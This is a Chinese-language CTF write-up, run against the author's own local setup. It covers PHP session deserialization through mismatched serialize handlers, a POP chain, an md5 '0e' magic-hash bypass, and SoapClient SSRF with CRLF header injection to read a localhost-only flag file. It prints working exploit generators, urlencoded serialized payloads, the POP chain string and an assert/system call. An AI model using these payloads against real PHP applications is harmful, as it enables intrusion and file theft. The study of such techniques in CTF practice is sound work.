里面的知识点有session反序列化、原生类的利用、soap ssrf,对于我这种菜鸡还是挺有难度的。。。
基本
session反序列化
我们主要了解这里就可以了
session.serialize_handler的引擎有看下面。
注:php_serialize是从5.5.4开始使用的。
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
处理器-php
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($SESSION);
我们访问网页,通过session参数传入一个2,他会在一个tmp的文件夹下面生成一个文件。
那么怎么找到这个文件呢,毕竟每一个人的路径肯定有区别的,这里我们可以Everything这个工具来搜索sess_,就可以知道路径了,接下来我们看看生成了什么。
//生成的
session|s:1:"2";
竖杠的左边是他的键名,右边是他的键值。
也正是键名 + 竖线 + 经过serialize()
函数序列化处理的值
处理器-php_binary
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($SESSION);
这里就是我们使用的代码,然后传入2,这里修改了一下PHPSESSID为aaa,然后就会生成一个sess_aaa的文件。
//生成的
sessions:1:"2";
session前面是还有一个字符因为不可见的缘故大家看不到。
处理器-php_serialize
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($SESSION);
老样子输入一个2,它里面文件的内容是
a:1:{s:7:"session";s:1:"2";}
这里php_serialize在内部简单地直接使用 serialize/unserialize函数,他是会自动进行反序列化这就是我们需要利用的。
这里写两个来进行举例 :
这里使用这两个
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
var_dump($SESSION);
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php');
session_start();
class A
{
public $a;
public function __destruct()
{
echo($this->a);
}
}
我们这里写一串序列化的东西,看看下面那个是否会输出phpinfo()
O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}
首先我们在上面那个传入
?session=|O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo()%22%3B%7D
记住这里要加竖杠,因为第二个文件的解释器是php,我们要让前面成为键名,后面是键值,让他只解析后面的序列化好的字符串,然后这里他会写入一个PHPSESSID里面,我们带着这个一个去访问下面那个文件。
这里我们看到属性a没有任何赋值,但是最后确实是输出了phpinfo().
我们去看看生成的文件,里面的内容是怎么样的。
a:1:{s:7:"session";s:37:"|O:1:"A":1:{s:1:"a";s:9:"phpinfo()";}
php_serialize处理器是进行了一次php序列化,但是我们传入了一个|,在php处理器的理解是
这三部分
a:1:{s:7:"session";s:37:" //键名,这个是不解析的
| //分隔符
O:1:"A":1:{s:1:"a";s:9:"phpinfo()";} //键值
注意
使用SoapClient类报错的师傅注意一下,这里提供一个我那时候处理的方法,windows的。
我们使用Everything工具,寻找php.ini,找到自己版本的php.ini,然后找到extension=soap去掉前面的分号就可以了
题目
注:以下为自己搭的环境,可能和题目的是有一点区别的。
index.php
// index.php
<?php
//something in flag.php
class A
{
public $a;
public $b;
public function __wakeup()
{
$this->a = "babyhacker";
}
public function __invoke()
{
if (isset($this->a) && $this->a == md5($this->a)) {
$this->b->uwant();
}
}
}
class B
{
public $a;
public $b;
public $k;
public function __destruct()
{
$this->b = $this->k;
die($this->a);
}
}
class C
{
public $a;
public $c;
public function __toString()
{
$cc = $this->c;
return $cc();
}
public function uwant()
{
if ($this->a == "phpinfo") {
phpinfo();
} else {
echo "1";
call_user_func(array(reset($_SESSION), $this->a));
}
}
}
if (isset($_GET['d0g3'])) {
ini_set($_GET['baby'], $_GET['d0g3']);
session_start();
$_SESSION['sess'] = $_POST['sess'];
} else {
session_start();
if (isset($_POST["pop"])) {
unserialize($_POST["pop"]);
}
}
var_dump($_SESSION);
highlight_file(__FILE__);
flag.php
//flag.php <?php session_start(); highlight_file(__FILE__); if ($_SERVER["REMOTE_ADDR"]==="127.0.0.1") { $f1ag=implode(array(new $_GET['a']($_GET['b']))); $_SESSION["F1AG"]= $f1ag; } else { echo "only localhost!!"; }
这里看到int_set,session_start这些的就可以想到session反序列化,然后在flag.php我们可以使用了$_SERVER["REMOTE_ADDR"],他的意思是检测当前运行脚本所在服务器的 IP 地址必须为127.0.0.1,其实这里就很好想到soap ssrf,接下来发现我们下面我们可以自定义我们new的类和内容,这时候我们就可以使用原生类。
pop链还是很好触发的。
C::uwant() <- A::__invoke() <- C::__toString() <- B::__destruct()
然后我们还需要绕过几个东西,首先__wakeup(),我们可以加一处理,但是有疑惑这里题目的环境是7.4,所以我这里使用的也是7.4,但是这不符合__wakeup绕过的版本限制,但是就是可以,原题环境尝试的时候也是可以的,一些大佬也不是特别清楚,有知道的可以说一下吗。。。
然后就是if (isset($this->a) && $this->a == md5($this->a)) 这个判断我们可以使用0e215962017绕过,所以就没了。
<?php
class A
{
public $a='0e215962017';
public $b;
}
class B
{
public $a='1';
public $b='2';
public $k='2';
}
class C
{
public $a='aa';
public $c;
}
$a = new A();
$b = new B();
$c = new C();
$d = new C();
$b -> a = $c;
$c -> c = $a;
$a -> b = $d;
echo serialize($b);
这里我们着重分析一下这个 call_user_func(array(reset($_SESSION), $this->a));
首先$_SESSION是我们通过sess传入的,然后就是$this->a,这里就是我们自己传入的。
然后就是reset函数,这里用代码看一下
<?php $b = array("sess"=>'assert'); $c = reset($b); echo $c; //回显 assert
然后就是call_user_func,这个没加array,之前是可以执行代码的,当命令执行函数使用,这里他是不支持eval函数的。
call_user_func('assert', 'system("dir");');
加上array以后,就是执行一个类下面的方法,这里回显aaaa。
<?php class A { public $a; public function aaaa() { echo "aaaaa"; } } call_user_func(array('A','aaaa'));
所以我们只能通过这来执行一个类下面的方法,但是这个ABC这三个类中都没有我们可以帮助我们获得flag的方法,这时候结合上面的flag.php,其实就可以想到用这个来触发一个不存在方法来触发,SoapClient类中的__call()魔术方法,然后来进行soap ssrf。
然后是exp,这里先使用这个,因为是本地的环境,flag文件就在这个目录,所以我使用glob协议匹配的当前目录,还有就是因为我本地环境的端口是9004,所以这里也是需要改的,如果各位本地搭建的时候,目录有变化也是要加进去的。
<?php
$a = new SoapClient(null, array('location' => 'http://127.0.0.1:9004/flag.php?a=FilesystemIterator&b=glob://./*f*',
'user_agent' => "aaa\r\nCookie:PHPSESSID=flaghahahahaha",
'uri' => "http://127.0.0.1:9004/"));
$b = serialize($a);
echo "|".urlencode($b);
//然后设置
get:?baby=session.serialize_handler&d0g3=php_serialize
post:sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A9004%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A66%3A%22http%3A%2F%2F127.0.0.1%3A9004%2Fflag.php%3Fa%3DFilesystemIterator%26b%3Dglob%3A%2F%2F.%2F%2Af%2A%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A36%3A%22aaa%0D%0ACookie%3APHPSESSID%3Dflaghahahahaha%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
cookie:PHPSESSID=flaghahahahaha
下面之后知道是可以不用的。
//下一步我们需要触发SoapClient
get:?baby&d0g3
post:sess=SoapClient
然后传入pop链的内容,来触发call_user_func那里了
get不需要传东西
post:pop=O:1:"B":4:{s:1:"a";O:1:"C":2:{s:1:"a";s:2:"aa";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:2:"aa";s:1:"c";N;}}}s:1:"b";s:1:"2";s:1:"k";s:1:"2";}
他这时候会回显,这个代表我们成功了。
然后带着我们的cookie: PHPSESSID=flaghahahahaha,去访问重新访问index.php
这里看到在最后面我们知道了,flag就叫flag,在当前目录(这些是我自己设的)
<?php
$a = new SoapClient(null, array('location' => 'http://127.0.0.1:9004/flag.php?a=SplFileObject&b=./flag',
'user_agent' => "aaa\r\nCookie:PHPSESSID=flaghahahahaha",
'uri' => "http://127.0.0.1:9004/"));
$b = serialize($a);
echo "|".urlencode($b);
这里就可以获得flag。